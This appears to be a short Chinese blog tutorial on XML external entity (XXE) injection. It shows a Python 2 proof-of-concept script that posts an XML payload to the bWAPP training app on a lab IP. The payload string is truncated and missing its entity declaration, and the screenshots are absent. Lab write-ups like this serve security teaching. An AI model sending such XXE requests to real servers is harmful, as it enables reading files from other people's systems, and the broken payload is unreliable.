Poc初探之XXE

用bwapp的例子简单回顾下xxe漏洞：通过在xml外部实体附带非法参数，实现非法操作。如下图：

 

 

 

POC编写思路：针对漏洞页面，发送带相应非法参数的包。人生苦短，下面用Python 的urllib2模块演示。

 

 1 #! /usr/bin/python
 2 # coding=utf-8
 3 # __author__='Dou—wei'
 4 import urllib2
 5 
 6 if __name__ == '__main__':
 7 
 8     url = 'http://192.168.253.35/bWAPP/xxe-2.php'
 9 
10     headers = {'Content-type': 'text/xml',
11                'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
12                
13 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0',
14                
15 'Referer':'http://192.168.253.35/bWAPP/xxe-1.php',
16                
17 'Cookie':'security_level=0; PHPSESSID=bb658833b01b36d0bb6d1d6d86af3c4b' 
18                
19 }
20    
21     xml = ']>&xxe;Any bugs?'
22 
23     req = urllib2.Request(url = url,headers = headers, data = xml)
24 
25     res_data = urllib2.urlopen(req)
26 
27     res = res_data.read()
28 
29     print res

效果如下：
